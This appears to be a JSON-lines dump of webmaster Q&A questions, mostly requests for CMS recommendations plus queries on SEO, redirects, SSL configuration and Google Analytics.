{"id":"36349","title":"News Portal CMS","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? I am looking for a specific news portal CMS. I know all the major \"general\" CMS (like WordPress, Drupal or Joomla) and even the less known ones (like TYPO3, Expression Engine, Text Pattern or Concrete5). I'm already working with a Drupal distribution called OpenPublish and another WordPress installation to determine which would be better, but these are more of a Plan B. I would like to work directly with a CMS that was build exactly for this kind of tasks specific to a news \/ media portal. It doesn't matter if the CMS is commercial (however, I don't want to pay a monthly fee) or free, but I need to be able to use it on my own server \/ hosting and I need to be able to access it's source code (not to modify it, but to integrate it with future plugins \/ modules). If you know any CMS that qualifies for this job, please let me know. In the last few days I was all over Google but I couldn't anything worth mentioning."}
{"id":"48850","title":"A Java based modifyable web shop platform?","text":"I have a project which requires a web shop. It should be a Java based web shop, since I know Java well. The functional requirements are: * modifiable layout for main\/goods pages * modifiable processes like checking out etc. Is there a solution, which would meet my requirenments, which I should prefer? (e.g. something as popular as Magento)"}
{"id":"56419","title":"Which CMS would Google recommend?","text":"Which CMS would Google recommend for web design. I tested various CMS systems with PageSpeed and I did not found a CMS that performed close to 100\/100"}
{"id":"19627","title":"Simple blogging software (WP replacement)","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm sorry if this is not the right place to ask this question, but I think it's certainly better than at stackoverflow.com. I'm planning to redesign my website and looking for a WordPress replacement for my blog. My requirements are: * simple (I won't do a large, complicated website) and lucid * well coded (OOP), extensions, templates, active development (not 3 years old) * nice but temperate text editor (+images, links), tags and categories, page break * easy integration with Flickr, Picasa and social networks * technology: PHP and MySQL, not cloud service (like Posterous or Tumblr) Could you recommend me some blogging software which would meet these criteria?"}
{"id":"13791","title":"Picture Gallery & Message Forum","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? Any suggestions for both an Open Source Picture Gallery and also for a relatively simple Message Forum (only low number of users), PHP\/Python\/Ruby\/MySQL or anything else which is available. What I am primarily looking for are applications which can easily be incorporated into our existing website (same header, menu, floatin footer, quick linkd panel etc.) rather than as a full separate webpage. Thanks,"}
{"id":"5540","title":"Alternative of Wordpress for site with review","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? can anyone help with alternative of Wordpress for site with review. Need more seriously CMS. Thanks."}
{"id":"22282","title":"Looking for a specific CMS","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for an application (web application, like WordPress) that you put your code into (CSS, HTML, etc.) and do something like \"define variables\" in the custom code that your clients can come back later and change without having to see any code. Is there anything like this out there? Even close?"}
{"id":"46994","title":"Private forum \/guestbook to coordinate rides for PHP password protected wedding website","text":"I created a simple private PHP website for my wedding guests. The website is a single PHP page that prompts the user for a password that was snail-mailed to them with our invitations. If the correct password is entered, the PHP page serves up the HTML content which is otherwise inaccessible to the web. It works great! Now, though, I would like to add a forum, guestbook or some other method for guests to post their travel plans or requests rides from the airport and such. Any solution ideally would be: * **Private** so that people feel comfortable posting cell phones or travel information * **Simple** for less tech savy guests to use (e.g. no captchas, no email confirmations, no registration) * **Easy for me to setup** I would like to avoid setting up MySQL on the server if possible. Things I looked into but gave up on: * **Using a Google Docs spreadsheet** is too difficult because it would require me to solicit email addresses from every guest and then manually invite them to the doc. Any solution should be accessible via a link from my password protected wedding website. * **NoNonesense Forum** This php forum looked promising but it would be very hard to make private from the broader web. * **phpBB** and other more powerful fourms. These are too complicated, and not obviously private either. * **Rideshare.us** This service is close, but its a little complicated and kludgy and it really takes people away to a complicated website. I'm wondering if I can do better, especially for less savvy users."}
{"id":"29869","title":"Whether to use Joomla or NOT for a site with following specifications?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I want **Joomla developers** perspective for: \" **Whether its advisable or not to use Joomla** \" if I wish to develop a site with following features: 1. Mainly focused in e-learning. (quite similar to http:\/\/grockit.com) 2. Registered **students** can: watch\/download videos\/slides present on the site, -give quiz (either solo or multi-player) on various predefined topics on the portal, -when chosen multi-player, they can chat with the other currently on the same quiz, -get a complete explanation of all questions after attempting the quiz, -see his\/her profile\/status on the portal. 3. **Teachers** can: can upload questions\/slides\/videos on the site(through a UI), review questions uploaded by some other teacher, can join a chat-room(quiz) and help students solve the quiz. 4. **Admin** (not necessarily a website developer) can: -approve new teachers requests. -manage contents of the website(through a UI). The key points are: The site won't ultimately be handled by the developers. The future admin may not know any programming at all! Is the compatibility issue on various versions of Joomla a big problem? Is it really easy for person with no programming skills to handle the site afterwards? Is Joomla efficient enough and easy to learn for developers? Are there sufficient number of Joomla extensions\/plugins available for developing such a portal. And whether its easy to edit\/modify those plugins? What we are capable of developing: 1. All the basic features including personal\/group chat,video streaming,and the required coding for development of the UI for students and teachers. 2. Also we presently do not have any time constraints for the development of this portal."}
{"id":"33298","title":"Which wikis have MarkDown support?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? There exist a MarkDown extension for MediaWiki, but it is very buggy. Does anyone know of wikis that support MarkDown?"}
{"id":"24705","title":"Recommend an open source CMS for single page web site","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? Hi I want to create a single page web site like http:\/\/kiskolabs.com\/ or http:\/\/www.carat.se to display my portfolio. I want to add new products after launching the site without having to edit the entire site. I've looked at opencart (too much for single page site), Magneto (more for ecommerce), Wordpress (couldn't find open source \/ free templates which i can start from). Can you suggest a CMS which will support the creation of a single page site and allow insertion of new products without having to edit the entire page? I would prefer a CMS which also has open source \/ free templates which I can tweak for my use. I can do php and mysql, xml. If it is an easier option I can do PSD to site (but don't know much about this at all)."}
{"id":"38668","title":"Non-dynamic CMS","text":"Some of the web sites I visit every day (news, sports, etc..), although the content changes very often (several times per day), the URLs always have .html extension, what makes me thing that the content has been generated once, and then published as a static page, rather than generated in every call, or even cached in memory. For example, the fictitious site \"mysports.com\" have a \"futbol.html\" page, and then yesterday Messi gets injured and they have another thing to put in that page, then I presume they post the new item in their CMS system, and automatically a publishing action is triggered aftewards that recreates \"futbol.html\" in a CDN with the new item and probably discard the oldest one. Then the ETag changes and clients will get the new page if they try to access it. (the site is fictitious but this is what I believe happened yesterday in the sports site I read) This would fit in the CQRS approach, and I presume they have a huge performance. I know lots of CMS (WP, Drupal, BlogEngine.net, DNN, etc...), but I have never seen any able of doing this, or at least, I was not aware this feautre. How are called those distributed CMS? Which are the most well known? Cheers."}
{"id":"32530","title":"File Management CMS?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for some kind of a CMS -- or similar software -- for hosting non- web files (PDFs, Docs, xls, other proprietary formats, etc) for download, in a protected area. Specifically, I'm looking for a few features: 1) User login required 2) Logging of downloads (who downloads what, when, and how many times) 3) Fairly easy for administrators to upload new content Basically, users would login to the site, search for files (or see what they've downloaded in the past) and be able to download these files. Non- authenticated users can access none of the content. I've been thinking almost something like Dokuwiki would do the trick, though it lacks some features I need. Anybody know of anything that might fit the bill?"}
{"id":"56279","title":"I want a multilanguage community membership CMS","text":"I have built a website on my own which does the following: * Strangers can apply and there is an interface such that the admin can accept or dismiss applications * Each accepted member has his own profile where he can advitse himselft for the world wide web * Members can be sorted in different categories, they can post advertises that will be available at different places on the side, and members can also buy certain things in the memberarea. I also create my own bills with fpdf. The reason why I want to switch to a CMS is the following: * I want to have the website in many languages and I want for instance that some german members are able to change the german content of the website(not only there profile) and, therefore, I need a CMS. What would you advise me to do? Should I get some CMS (like Moode or Wordpress) and should I try to integrate my own code in this CMS or is there already some CMS that I can buy that has these features that I have listed above?"}
{"id":"12277","title":"Looking for a CMS to publish online tutorials","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I want to create a site with tutorials on a specific topic. The tutorials would include code samples (so I need code highlighting), pictures, screencasts, and files to download. I would like to edit the pages easily, like on wikis, but also allow for comments like on blogs. I don't want wiki-like community editing, and I want to update a given tutorial page continuously, like on wiki, but not like in the blog. So which CMS should use?"}
{"id":"10600","title":"Subscription Site CMS","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I was wondering if there are any subscription cms's out there which provide good functionality? I am looking to have a site which has different levels of users such as bronze,silver,gold. They will then be able to access specific content on the site. So articles and videos which are only accessible to certain members. Thanks"}
{"id":"44222","title":"what is the best CMS for member login and job posting","text":"Hi I have worked in wordpress and joomla but i am confusing to choose CMS.. which one is suitable for my requirements. Please read requirements and suggest me some CMS. Thanks in advance Directory which will list all of our members, with the option to sort by company name and category (eg manufacturer, supplier, developer, EPC, legal, accountant, education, government etc). Some members will fall into one or more of these categories. The directory should contain the following: Name of company Contact person Phone number Mobile number Address Category Membership Type Members should be able to add\/edit their details so each member will need to be given a log-in and password. Admin should approve\/manage the memberships. B) Job Posting Job posting section – members can post job opening"}
{"id":"53707","title":"Does anyone know a good (video game) matchmaking CMS?","text":"I'm looking for a good CMS that can work as a matchmaking CMS. Particularly for video game ladders and tournaments. Currently I work on Magneto and Pinnacle cart, and obviously I'm not trying to sell anything with my new site, but rather fill a niche that isn't being offered for this video game. That being said, does anyone know of a CMS that is pre-made for this type application? Or am I stuck modifying a Joomla, or dating site CMS?"}
{"id":"16862","title":"Looking for a very lightweight PHP CMS for single page websites","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I need a very simple, secure CMS for single-page websites, with a single page backend, multilanguage, and preferably XML based, although that is not so important... I know there are other similar questions, but most of them are quite old. Please don't suggest Wordpress, it is definitely overkill for something like this."}
{"id":"53325","title":".NET open source free CMS for millions of pages","text":"I have done extensive research on the umbraco cms system. I have concluded that it is not suitable for web sites that will contain millions of web pages. When loggin into the back office the software must load all the pages which takes a long time and may even time out with millions of pages. is there a good cms built on the .NET platform that can handle this?"}
{"id":"22438","title":"Blog\/CMS software with editing style like Stack Exchange","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? Are there any pieces of content creation software for making a blog that support an editing style like Stack Exchange and Stack Overflow? Or magic combinations of Wordpress plugins that offer the same? I have been updating a Wordpress blog lately and found the turnaround time for content creation and editing is much worse than for Stack Overflow posts. Part of this has to do with being original compositions rather than riffing off a question. But part of it is the software. I am looking for CMS\/blog software that has an overall editing experience similar to Stack Overflow. The most important features I'm looking for: * Inline editing * (mostly) Real-time preview on the same page are all important features for speeding up data entry. * Markdown support (with inline and block-level code support) * Syntax hilighting The features I must maintain from my self-hosted Wordpress: * Somewhat popular\/supported software, with extensibility support * Self hostable * Will work with MySql Wordpress has plugins for all these, but they don't necessarily work together. For example I've found a few markdown-on-save plugins, but I doubt those have a chance of ever supporting inline editing or real time previews. Also the most popular syntax hilighting plugins don't support inline code blocks, and I doubt previews would work with other syntax hilighting methods. If I get a wiki\/web page content creation system along with it, or somehow integrate this into GitHub (with all the features I requested) I'll accept those as side benefits."}
{"id":"24351","title":"simple cms for one page portfolio","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I want to use a simple cms for a one page photography portfolio. Here are some screenshots of the website: homepage and interior page Basically I have just to insert a thumbnail image for index and a specific page for each thumbnail that contains a title a description and some images. I don't want to use Wordpress, I think is too much. Could you recommend me some other cms for this type of portfolio?"}
{"id":"48329","title":"Which FLOSS Python CMS for video sharing in a school?","text":"I have an university project in which we develop a **video sharing system for schools**. Our central use cases are as follows: * The system has to **manage videos** (and associated arbitrary metadata) Where management includes uploading, transcoding, browsing (by metadata) and playing * The system has to implement a **3-tier release process** : * pupils may add videos to the system * teachers may approve added videos, publishing them to other pupils * administrators may revoke the approval of published videos The system needs to be developed in an agile fashion, oriented on Extreme Programming. As a result, the system needs to be implemented in a programming language, the developers are familiar with. The biggest overlap in competences of the developers is Python, so with additional functional requirements to be expected: * The system needs to be implemented and extensible in **Python**. The system needs to be released to the general public, so * The system and all components need to be licensed as **open source**. Which extensible open source Python CMS, supports video content and a role- based workflow?"}
{"id":"44861","title":"Looking for a Social Bookmarking Content Management System","text":"I want to make a website like Reddit, I already tried Pligg, Drigg, Elgg but the codes were too messy and impossible to customize. I really like WordPress and Joomla but they are not designed for that, I am wondering any suggestion or plugin to make them like Reddit or other cms?"}
{"id":"2006","title":"Strengths of various open-source PHP Content Management Systems?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? What are the strengths \/ weaknesses of the various PHP-based open source CMSes?"}
{"id":"11066","title":"Blogging platform for private\/family blog?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am trying to setup a blog to be used for our family. This blog will not be open to the public and family members will require a username and password to enter the site. I had originally settled on Wordpress with some content restriction plugins but I am beginning to question that decision. So many Wordpress features are not relevant to a family blog. Items like Trackbacks are confusing to users and still show up even when trackbacks are disabled for a specific post. To that end I am looking for recommendations on open source blog engines that might fit the bill. I run IIS and Apache so either platform is fine. Thanks."}
{"id":"11687","title":"i need a cms for book online reading and sharing like slideshare.net site","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? i need a cms for book online reading and sharing like slideshare.net site"}
{"id":"26144","title":"What free website system do you recommend to promote intepretation\/translation services","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am a business interpreter based in Hangzhou,China. I am considering to mount an independent website to promote my service. I will register a domain name for it. My question is, what free website system do you recommend? The website system needs to include a content management system so I can add information."}
{"id":"10681","title":"Best wiki engine to use?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking to set up a wiki as a simple CMS for a resource page. Mostly just pdfs and word documents will be hosted, but the two main features I'm looking for is the ability to restrict pages based upon user privileges and for blog- style comments between the users. From what I've researched, mediawiki can easily do the first part with restricting users, but I haven't had much luck finding any plugins for comments. I'm trying to avoid the discussion style pages from wikipedia, and have more of a comments just under the article. So far I'm leaning towards trying Tiki out, any other recommendations?"}
{"id":"8513","title":"I need a multi-language site with webshop functionality. Which CMS to choose?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I need to develop a multi-language site which includes simple webshop functionality. I have extended experience with WordPress. There are numerous shopping cart plugins available for WordPress however none of them is compatible with multi-language plugins such as WMPL. Drupal is an option I looked into (using i18n and Ubercart) and I am not sure this is the solution I am looking for. Another solution I considered is to develop a custom WordPress cart plugin that is compatible with WPML. Anyone familiar with this situation? Any recommendation regarding CMSes that fit my needs? Thanks!"}
{"id":"24987","title":"Photo contest plugin","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? Consider this template I would like to build a similar site looking site which allows users to register and upload their images. Each image should have title and short description, provided by the uploader, and be immeaditely available on the site once upload is complete. Any suggestions?"}
{"id":"14878","title":"Django plugable news story application","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? Are there any plugable django blog apps that can be embeded into existing pages or templates. It doesn't have to be a full fledged blogging engine. The features I am looking for are: * Displaying multiple stories with 'read more' button. Display should be like news items on a news-agregator, without the regular features of blogs like commenting or social networking buttons. * Url for each story * Support for pagination to limit the number of stories that can apper on the home page. * Loadable on to the existing pages or templates. If there are no such apps, suggestions for how the modules (views, models, urls) can be written are welcome."}
{"id":"34946","title":"CMS without templates","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? I am looking for a CMS where I can layout the page from scratch using HTML\/PHP\/CSS and simply enter code such as:- FOR EACH (listOfArticles) SORT mostRecent CATEGORY news LIMIT 5 <div class=\"articleTitle\">{title}<\/div> <div class=\"arcielBody\">{body}<\/div> END to get a list of the five most recent articles of a certain category in the relevant place. Does such a thing exist anymore? Unless my mind is playing tricks on me, the CMSs of five or ten years ago had this approach. I am thinking of MovableType and the now defunct CityDesk. It seems to me that CMSs these days have a 'templates first' approach. I.E. you must always choose a template before doing anything - which I find really painful. Learning how to design these structured templates also seems overly painful. So can anyone help me in my quest? Thank you, Mark"}
{"id":"17959","title":"Secure enterprise wiki technology?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for a secure wiki technology that will allow shared note taking and documentation. Security, organization, and revision control are critical. Any advice will be appreciated!"}
{"id":"57119","title":"non-invasive database content management?","text":"I work for a group that has an already existing, built-from-scratch LAMP (plus javascript) website. There are currently no content management systems in place, and up to now the method for updating content has been for one of us more database savvy employees to simply manually update the database through mysql workbench, etc. I'm looking for a solution that would allow us to customize an interface for non-developers to update certain content that lives in our mysql database. The problem is, I don't want it to also have control over our page templates and front end styling, as that is already all in place and incorporates many complex web apps that could be difficult to incorporate into a site managed by a full CMS such as Drupal. cushyCMS has functionality very close to the scope I am looking for, but it deals in direct editing of specific html files, whereas I am searching for something that would allow users to edit specific parts of a database. Ideally, I imagine a drupal-like interface for user editing\/input (ie drop- down menus, limited functionality so people can't break things, etc.) but applied to a pre-existing database. Anyone caught any wind of something such as this?"}
{"id":"6912","title":"background css help","text":"> **Possible Duplicate:** > image behind adsense i have a google ad, where i want to place an image, i tired the css, but the image is not coming properly, my google ad size is height=280, width=336 the image url is http:\/\/www.clker.com\/cliparts\/e\/p\/V\/F\/o\/0\/notepad-hi.png i want this image behind my ad, i tried this following code:- { background:url(\"http:\/\/www.clker.com\/cliparts\/e\/p\/V\/F\/o\/0\/notepad-hi.png\")transparent; height: 300px; padding: 50px 30px 0; width: 350px; }"}
{"id":"53908","title":"Change folder name in server","text":"If I change a folder name in server ant thus the URL will be changed, could I perform 301 redirection or this is only for the case that the web page has been transferred to another folder?"}
{"id":"56128","title":"Prevent Google Indexing SubDomains","text":"I have cPanel Hosting with only 1 IP. I'm in the process of pointing all my TLDS over to this server. I have created 'Addon Domains' and all the folders from which it creates are located in sub directories 'domain1.com' , 'domain2.com' in my root website '\/home\/user\/public_html\/client\/' but they can be accessed from 'domain1.maindomain.com'. The thing that is worrying me is if google indexes these subdomains. What can I do to prevent this, would a rewrite rule like this be sufficient? RewriteEngine on RewriteCond %{HTTP_HOST} !^www\\.domainpointtosubfolder\\.com$ [NC] RewriteRule ^(.*)$ http:\/\/www.domainpointtosubfolder.com\/$1 [L,R=301] Or is there a better way?"}
{"id":"57290","title":"How to manage a site trying out different technologies?","text":"I'm a complete newbie to web hosting. I only have programming skills, but I'd like to acquire a domain. Then I'd even like to have the chance to manage different technologies for hosting web sites and applications. I mean, I don't only want to try the Apache, PHP and MySQL stack but try out with node.js and Ruby on Rails. These might be subdomains and each correspond to different technologies. What is the suggested setup for using so many technologies?"}
{"id":"57292","title":"Returning visitor stats reliably over longer periods of time in Google Analytics","text":"I'm looking into how useful returning visitors stats in Google Analytics are over longer periods of time, such as two or three years. It seems that the `__utma` cookie is set to expire 2 years from set\/update, so this suggests that this cookie should be updated each time the user visits the site, and the 2 year expiration reset. Would I be right in thinking then that it's reasonable to expect the returning visitors data to be no less accurate over longer periods than it is in the last year, for example?"}
{"id":"42466","title":"Weird 404 crawl errors in Google webmaster tools","text":"If anyone can help, I'd be very grateful! We're getting strange domains coming up in Google webmaster tools - they seem to be breeding. When I look where the links are coming from, it's either: * non-existent pages on our website (usually) or * some other site URL I'll give some examples: * hechenghai\/article\/enquiry\/frmenquiry.aspx * sql-server-reporting-services-training\/~\/ms-project\/~\/stored-procedures\/~\/enquiry\/frmenquiry.aspx * blogs\/BradSchacht\/ssis\/blog\/blog\/enquiry\/frmenquiry.aspx I'm sure Brad Schacht is a great guy, and hechenghai a great place, but I'd never heard of either of them till they turned up in Google tools, and they're certainly not on our website. Some things to help: * I have a simple site map which Google knows about, and have checked this. * We don't use an htaccess file (it's all in Windows) * we don't use any illicit or black-hat techniques * we generate the site from a .NET system which writes out the HTML pages You can see the site at http:\/\/www.wiseowl.co.uk"}
{"id":"25289","title":"Is there a way to compile LESS files to CSS (so that every browser doesn't have to)?","text":"I'm considering using LESS but I cringe at the thought of a browser having JavaScript disabled and my CSS not being readable (and the site looking awful). Also, it offends the engineer in me to force every browser to \"compile\" that Less file to .css when we could just \"compile\" it once every-time we modify it."}
{"id":"25287","title":"Is LESS ready for use in a production site?","text":"I'm considering using the Twitter Bootstrap HTML\/CSS templates which use Less (a sort of scripting language for CSS) I've never used it so I was wondering if it's ready for \"prime time\"."}
{"id":"52863","title":"image map does not work on Opera and Mozilla browsers (only Google Chrome)","text":"I have created a WordPress blog and inserted an image with map and some links inside, but I can't open any link by pressing on the page using any browser except Google Chrome. This is the code: <img class=\"aligncenter\" alt=\"\" src=\"http:\/\/pretesti.ge\/wp-content\/uploads\/2013\/09\/Untitled-2-copy.png\" usemap=\"imgmap2013948720\" align=\"center\" \/> <p style=\"text-align: center;\"> <map id=\"imgmap2013948720\" name=\"imgmap2013948720\"> <area title=\"\" alt=\"\" coords=\"5,4,167,167\" shape=\"rect\" href=\"http:\/\/pretesti.ge\/?page_id=14\" target=\"_blank\" \/> <area title=\"\" alt=\"\" coords=\"174,6,336,165\" shape=\"rect\" href=\"http:\/\/pretesti.ge\/?page_id=16\" target=\"_blank\" \/> <area title=\"\" alt=\"\" coords=\"345,5,506,167\" shape=\"rect\" href=\"http:\/\/pretesti.ge\/?page_id=18\" target=\"_blank\" \/> <area title=\"\" alt=\"\" coords=\"514,5,678,169\" shape=\"rect\" href=\"http:\/\/pretesti.ge\/?page_id=20\" target=\"_blank\" \/> <!-- Created by Online Image Map Editor (http:\/\/www.maschek.hu\/imagemap\/index) --> <\/map> <\/p>"}
{"id":"25282","title":"How to track click sources in a Google-compatible way?","text":"On my website, I track when users click on a search result that brings them to a details page for an item. I then save what search query they used before they clicked. My current solution is this: 1. Each link in search results is in the form `\/goto\/<item_id>\/?search_id=...` 2. `\/goto\/<item_id>\/` saves that a user used a given search id to get to a given item, and then returns a 302 redirect to `\/details\/<item_id>\/` 3. `\/details\/<item_id>\/` displays the details page and does not do any tracking. For the users, everything works fine, but when I check Google search results for my page, the direct links to the details page URLs say `\/goto\/<item_id>\/?search_id=...` with some old `search_id`, instead of `\/details\/<item_id>\/`. I feel like I'm missing an obvious solution :) The only thing I came up with so far is using `\/details\/<item_id>\/` links in HTML and using JavaScript to replace them all with `\/goto\/<item_id>\/search_id=...`, but that seems like an overkill. Any better ideas?"}
{"id":"67164","title":"What is the potential harm of using Google's Disavow Links tool?","text":"Google gives a warning on its disavow links tool, that says: > This is an advanced feature and should only be used with caution. If used > incorrectly, this feature can potentially harm your site's performance in > Google's search results. We recommend that you only disavow backlinks if you > believe that there are a considerable number of spammy, artificial, or low- > quality links pointing to your site, and if you are confident that the links > are causing issues for you. What exactly is the risk of using this? If I have a bunch of spammy links that a competitor built, would there be any potential harm of disavowing them? EDIT: In my particular case, my main site has been delisted from Google's search results, and at approximately the same time, I noticed that I've started getting a lot of spammy links to my site. No warning has been issued by Google in webmaster tools, but I want to disavow the spammy links anyway."}
{"id":"16252","title":"can mod_rewrite be used for this problem?","text":"We used to have a URL `http:\/\/www.abc.com\/index.php?itemID=144` which is moved to `http:\/\/www.abc.com\/index.php?itemID=1556` we want our users which are hitting the above url(144) to reach to 1556. How can it be achieved. If with mod_rewrite or anything else."}
{"id":"16251","title":"Should Site Title be Before or After Page Title?","text":"Apologies if this is a dupe. I tried searching, but didn't find anything specifically addressing this concern. When creating a large(ish) site, page titles usually reference both the site name and the current page name. However, it seems there are two main conventions: Bob's Awesome Site - Contact Page and Contact Page - Bob's Awesome Site I've looked around, and pages usually use one of the two variants above. **Is there any reason to use one over the other? SEO\/readability\/usability\/etc?** I've thought about it, and have only come up with: * Page first - Differentiates the tab when the browser is crowded with lots of tabs * Site first - Immediately see the \"parent\" site, so to speak; more cohesive experience"}
{"id":"273","title":"What is the easiest\/lightest setup to get a basic LAMP stack setup for development?","text":"I'm looking for a minimum of fuss here to get up and running. Bonuses: - cross platform - portable (can be installed\/run from a USB) _Clarification: I'm not looking to setup a full-fledged remote testing server, I just need something simple that I can load localhost in my computer's browser and check my latest changes._"}
{"id":"18110","title":"Shared Host VS Cloud server","text":"> **Possible Duplicate:** > How to choose between web hosting and cloud hosting? What the difference between a shared host and a cloud server. I have a url http:\/\/domain.com and with a shared host, easly I have FTP details where I can upload everything on the server. Is is the same with cloud server or is it the same as amazon Cloudfront where you haven't got FTP details etc? What are the differences in terms of speed? Thanks alot"}
{"id":"50352","title":"Can you put content from your site on Facebook, or will that cause duplicate content?","text":"I have a question about duplicate content. Is it okay to take a paragraph or two directly from your website and put it on Facebook page as a post say, about your products or services, or even your about us page? Does this harm your website ranking, have no impact or is it not worth doing because it may be problematic but there is no clear consensus? A coworker and I have been discussing this where I admit to being more concerned about it than they are."}
{"id":"12019","title":"Page doesn't show up in Google searches","text":"When I search on Google for \"pollackstorch\" I get an invitation to the administrator rather than the page itself. When I search on Bing or AltaVista I get the page itself. How can I get Google to return the page itself like the others do?"}
{"id":"15909","title":"Does Google Analytics data affect SEO?","text":"I have several pages on my site that I did not include the Google Analytics code. Will it improve my site's Google ranking if I include the GA on all of my pages and increase the number of visits on GA?"}
{"id":"12017","title":"Select cms to the construction site with e-learning","text":"I want to suggest me someone who has experienced one cms or component to build website with e-learning"}
{"id":"12010","title":"Global Statistics for Browser + Operating System","text":"I'm trying to determine global statistics (similar to StatCounter's) for a combination of Browser + OS. For example, 35% (or whatever) of users are on XP **and** IE8. StatCounter only displays one or the other (ex. 47.32% on XP, 30.20% on IE8). Is anyone aware of a site that offers this information - preferably free of charge - or a way to glean it from StatCounter or others?"}
{"id":"17259","title":"How should I prepare the design of a web page for a web developer?","text":"What techniques, software or practices do you use to prepare a description of a web page for further development? I am doing some research (with little luck) in how to create description for web developers - what should be included on the web page (inputs widths, font sizes, images placement, etc). Right now I use a combination of Excel and Word documents. In complex cases this is inefficient. Any other suggestions?"}
{"id":"26397","title":"Redirect *.example.com to example.com","text":"I have some valid subdomains in my httpd.conf file. Now how do I redirect anything that's not a valid subdomain to the main website? What I mean is, if I have a valid subdomain hello.example.com, it should go to hello.example.com and if its blah.example.com which is not a valid subdomain, it should go to example.com. How can I make changes in my httpd.conf file to follow everything I just mentioned?"}
{"id":"26393","title":"Ad Block is blocking some images, excluding others, on a site I host","text":"I've created a website that has political banners (in .GIF and .PNG) with the intention of people being able to copy and embed them with the code provided below the image. Strangely, 3 of the 10 banners weren't appearing and I discovered that my Ad Block extension was treating those as ads, but none of the rest. They are all sourced from the same file path, they all contain relatively the same content, just different sizes. It would be my preference to not have these treated like ads whatsoever, but obviously that is not a decision for me to make. I'm curious as to why some are being excluded over others, though. If these are considered advertisements by the extension, it seems silly to me that as the 'source of advertisement' and host of this site, I can't simply provide something for others to share when they are voluntarily there to see just that. If this is something I have to eat for the greater good of preventing spam, then that's fine. I'm just curious to see if I have any options. Many thanks PWM"}
{"id":"30700","title":"SSL on multiple directories","text":"I have a website that is http, but has a port set up for https for a specific directory that is for the shopping cart. Now I'd like to use our SSL on a different directory in the same site as well. How can I go about configuring that? I have tried looking into all of the config files as well as the docs and cannot figure it out. I tried setting this in httpd.config as well <VirtualHost 127.0.0.1:[ssl port]> #also tried *:[ssl port] and [actual IP]:[ssl port] ServerAdmin shred@me.com DocumentRoot \"C:\/path\/sslNeededDir\" ServerName www.example.com <\/VirtualHost> hoping that it would cause pages in this directory to use ssl port and become https, but that didn't do anything. Any help is greatly appreciated. **Update:** This finally got migrated over. I'm still looking for a solid answer on this. If anyone could help me, it would be greatly appreciated."}
{"id":"52463","title":"Is it a good idea to make \"safety copy\" of articles from referring sites?","text":"My wife has a small business with a website, of which I am the maintainer. (I am not a trained web developer, but know the basics of HTML and CSS.) There are already a few articles \/ blogs \/ news items about them online on other sites. She would like to keep a list of references to these. However, she would like to ensure that the articles are available even if the other site removed the original content or migrated it to another URL. So she somehow would like to store a copy of these articles on their own site. This raises a few questions to me. First of all, is it a legal and accepted practice in general (assuming we have the original owner's consent)? I know the legal part is country specific and I should rather consult a lawyer. At this point I am more interested in whether Google and other search engines penalize this, and how to play by the rules if possible."}
{"id":"60091","title":"Building a funnel retroactively in Google Analytics","text":"I have a issue with trying to devise a funnel in Google Analytics. I am not looking to create a goal funnel, as I am looking to do it retroactively on my data so I need to either do the crunching manually or devise a strategy for it. I wish to see sessions who have navigated from these pages, for example: \/ -> Category page A -> Cart -> Conversion \/ -> Category page B -> Cart -> Conversion \/ -> Category page C -> Cart -> Conversion How would I go about creating a funnel like this in Google Analytics and extract this data **retroactively** (emphasis so I do not get recommendations for setting up goal funnels since I want to do this on already processed data)? I imagine I could use the segmentation sequence, but how reliable is that? I am getting sampled data very quickly and I want to be able to do this for a couple of months back, but I get sampled even after choosing a week. Any ideas?"}
{"id":"63025","title":"What to do when we had a backlink (from a gone site) to one of our a 404 page?","text":"Previously there was a page on our partner's site that had a link to our site. Now, this page and the whole partner's website is gone (404). But this page still exists in our website backlink profile. Do we need to disavow or take any other action regarding this partner's website (page)?"}
{"id":"57478","title":"I have permission to republish articles. Do I need to use rel=canonical?","text":"I made a deal with a guy. I will give him advertising on my site for his business. He will give me permission to reprint the articles that appear on his site (he wrote them). I was looking for a lot of content quickly and this gives it to me. But now I'm reading in order to not get dinged by Google, I need to pass any SERP power off to his sit using the rel=\"canonical\" tag in the head of each page. Is this true?"}
{"id":"9259","title":"Directing from a 1und1 hosting solution, with URLs intact","text":"I have done this before on GoDaddy without a hitch, but I cannot seem to figure out this particular case. I have a domain space with temporary URL `http:\/\/yogainun.mysubname.com` and am hosting the domain name that is to be applied to it at `1und1.de`. Right now I have set it up so that from the 1und1 domain name hosting the address `http:\/\/www.yoga-in-unternehmen.de` is frame redirected to the subdomain that I just referred to. But this is not what I want. `http:\/\/www.yoga-in-unternehmen.de` is to be the domain. With the frame redirect, URL's like `http:\/\/www.yoga-in-unternehmen.de\/example-article` do not show up. But this is what I want. With GoDaddy in a similar case, I just turned on DNS and changed the name servers. That worked without problem, but with 1und1 not. Is there something I am missing?"}
{"id":"3466","title":"How to have a blogspot blog in my domain?","text":"I have a blog at http:\/\/afsharm.blogspot.com. How can I have this blog and all old posts, comments and templates in my own domain like http:\/\/myowndomain.com\/? Which specifications this domain must have?"}
